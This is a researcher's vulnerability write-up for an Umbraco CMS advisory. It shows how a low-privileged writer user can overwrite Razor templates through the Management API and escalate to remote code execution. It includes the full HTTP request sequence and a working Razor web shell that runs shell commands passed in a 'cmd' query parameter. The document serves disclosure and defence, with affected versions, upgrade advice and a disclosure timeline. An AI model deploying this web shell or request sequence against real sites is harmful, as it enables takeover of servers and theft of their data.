Umbraco CMS - Security Advisory GHSA-f7m5-5x7g-2p52
Umbraco CMS - Authorisation Flaw to RCE (Security Advisory GHSA-f7m5-5x7g-2p52)
Following on from my testing of Cockpit CMS, I decided to take a look at another open-source CMS project to try and find some new or different vulnerabilities. After a bit of searching and looking over some old notes, I decided to take a look at Umbraco CMS (a .NET-based content management system).
While I had come across this CMS before, these had been production instances that behave differently to other versions of the CMS. This time I would be focusing on spinning up my own development version, investigating how the application worked and what issues could be exploited.
Background
The CMS uses templates to define the look, feel and structure of the resulting website, using HTML, CSS, JavaScript and .Net code (via Razor Views).
Templates can inherit from other templates allowing individual components and features to be created and shared across different areas of a website. They can then be attached to a Document Type, where they are used to render the content on the frontend.
Since these files control the rendering of the website, including running any custom backend code, there are several potential risks should an attacker be able to control the templates used by a website, for example Stored XSS and Remote Code Execution (RCE).
Reviewing the Umbraco’s documentation, only administrators or high-privileged users should be able to create or modify the templates used within the CMS; however, this was not the case. A flaw within the Management API’s authorisation controls allowed low-privileged users (e.g. users with the writer role) to modify the templates used by the application.
This would allow an authenticated attacker to inject malicious content into the template, which could lead to the complete compromise of the site and/or the underlying web server.
Initial Proof of Concept
For the initial proof of concept I needed to takes the following steps:
- Identify a valid template ID to target
- Identify the API endpoint for updating a template
- Modify the template
- View the result by accessing an affected page
Note: All steps in this proof of concept are done as the low-privileged user writer1.
Step 1 - Identifying the Template to Modify
Target Page

Within the Umbraco CMS backoffice application, selecting a page/piece of content to modify triggers a series of API calls including a few for getting the document type linked to the content.
Request - Get Document Information
GET /umbraco/management/api/v1/document/fd353e75-4256-4755-9390-a57aa319afd4 HTTP/2
Host: vulnappserver.cms:44377
...SNIPPED...
Response - Get Document Information
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Date: Mon, 28 Sep 2026 13:11:45 GMT
Server: Kestrel
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Last-Modified: Mon, 28 Sep 2026 14:11:45 GMT
Pragma: no-cache
Api-Supported-Versions: 1.0
{
"template":{
"id":"74261df9-fcc8-4312-80fd-d76dff4aa2ca"
},
"isTrashed":false,
"documentType":{
"id":"14cf4381-0f5d-43b6-8d4b-57777d395df8",
"icon":"icon-document",
"collection":null
},
"id":"fd353e75-4256-4755-9390-a57aa319afd4",
"flags":[
],
"values":[
{
"editorAlias":"Umbraco.TextBox",
"culture":null,
"segment":null,
"alias":"userContent",
"value":"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer rutrum, ipsum vel blandit congue, odio diam gravida quam, suscipit lobortis mi odio quis enim. Aenean varius justo commodo leo auctor, sit amet pharetra ante blandit. Duis luctus nisi sit amet pellentesque tincidunt. Fusce ut commodo nulla. Vivamus blandit rhoncus odio eu egestas. Quisque consectetur accumsan tempor. Phasellus non viverra justo, feugiat vehicula augue. Cras eu nunc eget neque tincidunt aliquam eu eu velit. Aenean metus est, eleifend nec vehicula sit amet, volutpat id enim. Duis dolor enim, ultricies at rhoncus sit amet, consectetur in quam. Mauris pretium leo magna, in commodo purus vestibulum ac. Aliquam erat volutpat. Duis interdum et ipsum vel ullamcorper. Suspendisse quis consequat enim."
}
],
"variants":[
{
"id":"00000000-0000-0000-0000-000000000000",
"flags":[
],
"state":"Published",
"publishDate":"2026-09-28T12:57:35.0361737+00:00",
"scheduledPublishDate":null,
"scheduledUnpublishDate":null,
"createDate":"2026-07-20T13:26:32.2865407+00:00",
"updateDate":"2026-09-28T12:57:35.0361737+00:00",
"culture":null,
"segment":null,
"name":"accesscontrolcheck"
}
]
}
As we can see for the above, the document information includes the ID of the template being used. For this PoC the template ID is 74261df9-fcc8-4312-80fd-d76dff4aa2ca. Substituting the template ID into a request to the endpoint /umbraco/management/api/v1/template/<ID> reveals the template’s content.
Request - Get Template Information
GET /umbraco/management/api/v1/template/74261df9-fcc8-4312-80fd-d76dff4aa2ca HTTP/2
Host: vulnappserver.cms:44377
...SNIPPED...
Response - Get Template Information
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Date: Mon, 28 Sep 2026 13:14:44 GMT
Server: Kestrel
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Last-Modified: Mon, 28 Sep 2026 14:14:44 GMT
Pragma: no-cache
Api-Supported-Versions: 1.0
{
"id":"74261df9-fcc8-4312-80fd-d76dff4aa2ca",
"layoutTemplate":null,
"masterTemplate":null,
"name":"AccessControlCheck",
"alias":"accessControlCheck",
"content":"@using Umbraco.Cms.Web.Common.PublishedModels;\n@using ContentModels = Umbraco.Cms.Web.Common.PublishedModels;\n@inherits Umbraco.Cms.Web.Common.Views.UmbracoViewPage\u003CContentModels.AccessControlCheckDocument\u003E\n\n@{\n\tLayout = null;\n}\n\n\u003C!DOCTYPE html\u003E\n\u003Chtml lang=\u0022en\u0022\u003E\n \u003Cbody\u003E\n \u003Ch1\u003EThis is a test page to check Access Controls\u003C/h1\u003E\n \u003Cdiv\u003ECreated by: fsadmin\u003C/div\u003E\n \u003Cdiv\u003EEdited by: fsadmin\u003C/div\u003E\n \u003Ch2\u003EUser Content\u003C/h2\u003E\n \u003Cp\[email protected](\u0022UserContent\u0022)\u003C/p\u003E\n \u003C/body\u003E\n\u003C/html\u003E"
}
Step 2 - Identifying the API Endpoint to Modify a Template
Reviewing the Management API documentation at /umbraco/openapi/ shows that Templates are updated using a PUT request. Sending a blank update returns a 400 error with the fields that are required.
Request - Sending a Blank Update ({})
PUT /umbraco/management/api/v1/template/74261df9-fcc8-4312-80fd-d76dff4aa2ca HTTP/2
Host: vulnappserver.cms:44377
Cookie: ...REDACTED...
...SNIPPED...
Content-Type: application/json
Content-Length: 2
{}
Response - Sending a Blank Update ({})
HTTP/2 400 Bad Request
Content-Type: application/problem+json; charset=utf-8
Date: Mon, 28 Sep 2026 13:19:13 GMT
Server: Kestrel
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Last-Modified: Mon, 28 Sep 2026 14:19:14 GMT
Pragma: no-cache
{
"type":"https://tools.ietf.org/html/rfc9110#section-15.5.1",
"title":"One or more validation errors occurred.",
"status":400,
"errors":[
{
"$.name":[
"The Name field is required."
]
},
{
"$.alias":[
"The Alias field is required."
]
}
],
"traceId":"00-268da90dd2d0b6425af4fbda73fa3b3b-e4e8df723f4ecb68-00"
}
Sending the extracted template information results in a 200 OK response, confirming that the current user is able to update the content.
Request - Sending the Extracted Template
PUT /umbraco/management/api/v1/template/74261df9-fcc8-4312-80fd-d76dff4aa2ca HTTP/2
Host: vulnappserver.cms:44377
Cookie: ...REDACTED...
...SNIPPED...
Content-Type: application/json
Content-Length: 862
{
"id":"74261df9-fcc8-4312-80fd-d76dff4aa2ca",
"layoutTemplate":null,
"masterTemplate":null,
"name":"AccessControlCheck",
"alias":"accessControlCheck",
"content":"@using Umbraco.Cms.Web.Common.PublishedModels;\n@using ContentModels = Umbraco.Cms.Web.Common.PublishedModels;\n@inherits Umbraco.Cms.Web.Common.Views.UmbracoViewPage\u003CContentModels.AccessControlCheckDocument\u003E\n\n@{\n\tLayout = null;\n}\n\n\u003C!DOCTYPE html\u003E\n\u003Chtml lang=\u0022en\u0022\u003E\n \u003Cbody\u003E\n \u003Ch1\u003EThis is a test page to check Access Controls\u003C/h1\u003E\n \u003Cdiv\u003ECreated by: fsadmin\u003C/div\u003E\n \u003Cdiv\u003EEdited by: fsadmin\u003C/div\u003E\n \u003Ch2\u003EUser Content\u003C/h2\u003E\n \u003Cp\[email protected](\u0022UserContent\u0022)\u003C/p\u003E\n \u003C/body\u003E\n\u003C/html\u003E"
}
Response - Sending the Extracted Template
HTTP/2 200 OK
Date: Mon, 28 Sep 2026 13:19:57 GMT
Server: Kestrel
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Last-Modified: Mon, 28 Sep 2026 14:19:58 GMT
Pragma: no-cache
Content-Length: 0
Api-Supported-Versions: 1.0
Step 3 - Modifying the Template
Now that we have confirmed that it is possible to access the API modification endpoint, the next step is to modify the template and make sure the changes are reflected in the application.
Payload
@using Umbraco.Cms.Web.Common.PublishedModels;
@using ContentModels = Umbraco.Cms.Web.Common.PublishedModels;
@inherits Umbraco.Cms.Web.Common.Views.UmbracoViewPage<ContentModels.AccessControlCheckDocument>
@{
Layout = null;
}
<!DOCTYPE html>
<html lang="en">
<body>
<h1>This is a test page to check Access Controls - MODIFIED BY WRITER1</h1>
<div>Created by: fsadmin</div>
<div>Edited by: writer1</div>
<h2>User Content</h2>
<p>@Model.Value("UserContent")</p>
</body>
</html>
Request - Modify Template
PUT /umbraco/management/api/v1/template/74261df9-fcc8-4312-80fd-d76dff4aa2ca HTTP/2
Host: vulnappserver.cms:44377
Cookie: ...REDACTED...
...SNIPPED...
Content-Type: application/json
Content-Length: 884
{
"id":"74261df9-fcc8-4312-80fd-d76dff4aa2ca",
"layoutTemplate":null,
"masterTemplate":null,
"name":"AccessControlCheck",
"alias":"accessControlCheck",
"content":"@using Umbraco.Cms.Web.Common.PublishedModels;\n@using ContentModels = Umbraco.Cms.Web.Common.PublishedModels;\n@inherits Umbraco.Cms.Web.Common.Views.UmbracoViewPage\u003CContentModels.AccessControlCheckDocument\u003E\n\n@{\n\tLayout = null;\n}\n\n\u003C!DOCTYPE html\u003E\n\u003Chtml lang=\u0022en\u0022\u003E\n \u003Cbody\u003E\n \u003Ch1\u003EThis is a test page to check Access Controls - MODIFIED BY WRITER1\u003C/h1\u003E\n \u003Cdiv\u003ECreated by: fsadmin\u003C/div\u003E\n \u003Cdiv\u003EEdited by: writer1\u003C/div\u003E\n \u003Ch2\u003EUser Content\u003C/h2\u003E\n \u003Cp\[email protected](\u0022UserContent\u0022)\u003C/p\u003E\n \u003C/body\u003E\n\u003C/html\u003E"
}
Response - Modify Template
HTTP/2 200 OK
Date: Mon, 28 Sep 2026 13:22:11 GMT
Server: Kestrel
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Last-Modified: Mon, 28 Sep 2026 14:22:11 GMT
Pragma: no-cache
Content-Length: 0
Api-Supported-Versions: 1.0
Step 4 - Confirming the Template has been Overwritten
Response - Updated Template
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Date: Mon, 28 Sep 2026 13:22:42 GMT
Server: Kestrel
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Last-Modified: Mon, 28 Sep 2026 14:22:42 GMT
Pragma: no-cache
Api-Supported-Versions: 1.0
{
"id":"74261df9-fcc8-4312-80fd-d76dff4aa2ca",
"layoutTemplate":null,
"masterTemplate":null,
"name":"AccessControlCheck",
"alias":"accessControlCheck",
"content":"@using Umbraco.Cms.Web.Common.PublishedModels;\n@using ContentModels = Umbraco.Cms.Web.Common.PublishedModels;\n@inherits Umbraco.Cms.Web.Common.Views.UmbracoViewPage\u003CContentModels.AccessControlCheckDocument\u003E\n\n@{\n\tLayout = null;\n}\n\n\u003C!DOCTYPE html\u003E\n\u003Chtml lang=\u0022en\u0022\u003E\n \u003Cbody\u003E\n \u003Ch1\u003EThis is a test page to check Access Controls - MODIFIED BY WRITER1\u003C/h1\u003E\n \u003Cdiv\u003ECreated by: fsadmin\u003C/div\u003E\n \u003Cdiv\u003EEdited by: writer1\u003C/div\u003E\n \u003Ch2\u003EUser Content\u003C/h2\u003E\n \u003Cp\[email protected](\u0022UserContent\u0022)\u003C/p\u003E\n \u003C/body\u003E\n\u003C/html\u003E"
}
Resulting View

Escalating to RCE
After confirming that low-privileged users were able to modify templates, the next step was to create a payload that allowed for arbitrary system commands to be executed on the web server.
RCE Payload
@using Umbraco.Cms.Web.Common.PublishedModels;
@using ContentModels = Umbraco.Cms.Web.Common.PublishedModels;
@inherits Umbraco.Cms.Web.Common.Views.UmbracoViewPage<ContentModels.AccessControlCheckDocument>
@using System.Diagnostics;
@{
Layout = null;
}
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@inject Microsoft.AspNetCore.Http.IHttpContextAccessor HttpContextAccessor
@{
var prog = "cmd.exe";
var argBase = "/c ";
var code = HttpContextAccessor.HttpContext.Request.Query["cmd"];
if (code == "") {
code = "whoami";
}
if (!System.Runtime.InteropServices.RuntimeInformation.IsOSPlatform(System.Runtime.InteropServices.OSPlatform.Windows)) {
prog = "bash";
argBase = "-c ";
}
var cmd = ExecuteCommand(prog, argBase + "\"" + code + "\"");
}
<!DOCTYPE html>
<html lang="en">
<body>
<h1>This is a test page to check Access Controls - MODIFIED BY WRITER1</h1>
<div>Created by: fsadmin</div>
<div>Edited by: writer1</div>
<h2>User Content</h2>
<p>@Model.Value("UserContent")</p>
<h3>INJECTED BY WRITER1 - RCE</h3><code>@cmd</code>
</body>
</html>
Request - Modified Template
PUT /umbraco/management/api/v1/template/74261df9-fcc8-4312-80fd-d76dff4aa2ca HTTP/2
Host: vulnappserver.cms:44377
Cookie: ...REDACTED...
...SNIPPED...
Content-Type: application/json
Content-Length: 2075
{
"id":"74261df9-fcc8-4312-80fd-d76dff4aa2ca",
"layoutTemplate":null,
"masterTemplate":null,
"name":"AccessControlCheck",
"alias":"accessControlCheck",
"content":"@using Umbraco.Cms.Web.Common.PublishedModels;\n@using ContentModels = Umbraco.Cms.Web.Common.PublishedModels;\n@inherits Umbraco.Cms.Web.Common.Views.UmbracoViewPage<ContentModels.AccessControlCheckDocument>\n\n@using System.Diagnostics;\n\n@{\n\tLayout = null;\n}\n\n@functions {\n\n\tstring ExecuteCommand(string command, string arguments = null)\n\t{\n\t\tvar output = new System.Text.StringBuilder();\n\t\tvar process = new Process();\n\t\tvar startInfo = new ProcessStartInfo\n\t\t{\n\t\t\tFileName = command,\n\t\t\tArguments = arguments,\n\t\t\tRedirectStandardOutput = true,\n\t\t\tRedirectStandardError = true,\n\t\t\tUseShellExecute = false\n\t\t};\n\n\t\tprocess.StartInfo = startInfo;\n\t\tprocess.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);\n\t\tprocess.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);\n\n\t\tprocess.Start();\n\t\tprocess.BeginOutputReadLine();\n\t\tprocess.BeginErrorReadLine();\n\t\tprocess.WaitForExit();\n\n\t\treturn output.ToString();\n\t}\n}\n\n@inject Microsoft.AspNetCore.Http.IHttpContextAccessor HttpContextAccessor\n\n@{\n\tvar prog = \"cmd.exe\";\n\tvar argBase = \"/c \";\n\tvar code = HttpContextAccessor.HttpContext.Request.Query[\"cmd\"];\n\tif (code == \"\") {\n\t\tcode = \"whoami\";\n\t}\n\n\tif (!System.Runtime.InteropServices.RuntimeInformation.IsOSPlatform(System.Runtime.InteropServices.OSPlatform.Windows)) {\n\t\tprog = \"bash\";\n\t\targBase = \"-c \";\n\t}\n\tvar cmd = ExecuteCommand(prog, argBase + \"\\\"\" + code + \"\\\"\");\n}\n\n\n<!DOCTYPE html>\n<html lang=\"en\">\n <body>\n <h1>This is a test page to check Access Controls - MODIFIED BY WRITER1</h1>\n <div>Created by: fsadmin</div>\n <div>Edited by: writer1</div>\n <h2>User Content</h2>\n <p>@Model.Value(\"UserContent\")</p>\n <h3>INJECTED BY WRITER1 - RCE</h3><code>@cmd</code>\n </body>\n</html>"
}
After modifying the template with new payload, requesting the target page (https://vulnappserver.cms:44377/accesscontrolcheck?cmd=cat%20/flag) retrieves the content of the /flag file and embeds it within the webpage.
Resulting Page

Recommendations
Upgrade the version of Umbraco CMS to the latest version available for versions 17.x and 18.x.
For Umbraco CMS versions 15.x and 16.x, review the guidance in Umbraco’s blog post.
Affected Versions
- 15.2.0 - 15.4.3
- 16.0.0 - 16.5.0
- 17.0.0 - 17.6.1
- 18.0.0 - 18.1.0
Disclosure Timeline
| Date | Event |
|---|---|
| 20th July 2026 | Reported the vulnerability to Umbraco CMS |
| 22nd July 2026 | Vulnerability acknowledged and internal investigations begin |
| 4th August 2026 | Vulnerability confirmed and remediation started |
| 18th August 2026 | Umbraco CMS versions 18.1.1 and 17.6.2 released |
| 18th August 2026 | Security advisory and blog post on Umbraco CMS released |
| 28th September 2026 | Vulnerability write up released |